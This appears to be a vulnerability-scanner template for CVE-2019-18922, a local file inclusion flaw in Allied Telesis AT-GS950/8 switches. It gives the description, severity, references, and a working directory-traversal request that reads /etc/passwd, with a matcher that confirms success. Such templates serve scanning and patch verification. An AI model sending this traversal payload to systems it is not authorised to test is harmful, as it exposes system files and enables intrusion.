id: CVE-2019-18922

info:
  name: Allied Telesis AT-GS950/8 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Allied Telesis AT-GS950/8 until Firmware AT-S107 V.1.1.3 is susceptible to local file inclusion via its web interface.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to read arbitrary files on the affected device, leading to unauthorized access and potential data leakage.
  remediation: |
    Apply the latest firmware update provided by Allied Telesis to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - https://pastebin.com/dpEGKUGz
    - https://nvd.nist.gov/vuln/detail/CVE-2019-18922
    - http://packetstormsecurity.com/files/155504/Allied-Telesis-AT-GS950-8-Directory-Traversal.html
    - http://seclists.org/fulldisclosure/2019/Nov/31
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-18922
    cwe-id: CWE-22
    epss-score: 0.24742
    epss-percentile: 0.97679
    cpe: cpe:2.3:o:alliedtelesis:at-gs950\/8_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: alliedtelesis
    product: at-gs950\/8_firmware
  tags: cve,cve2019,packetstorm,seclists,allied,lfi,alliedtelesis,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ca24e474e0915f851493f2d5f536c5e0ca514f0bc93a77968620667f5d20fd63022100951cdd76f48c3dbc65cd071bac12420c28e4b21dffa5943d664be8c92fa55c37:922c64590222798bb761d5b6d8e72950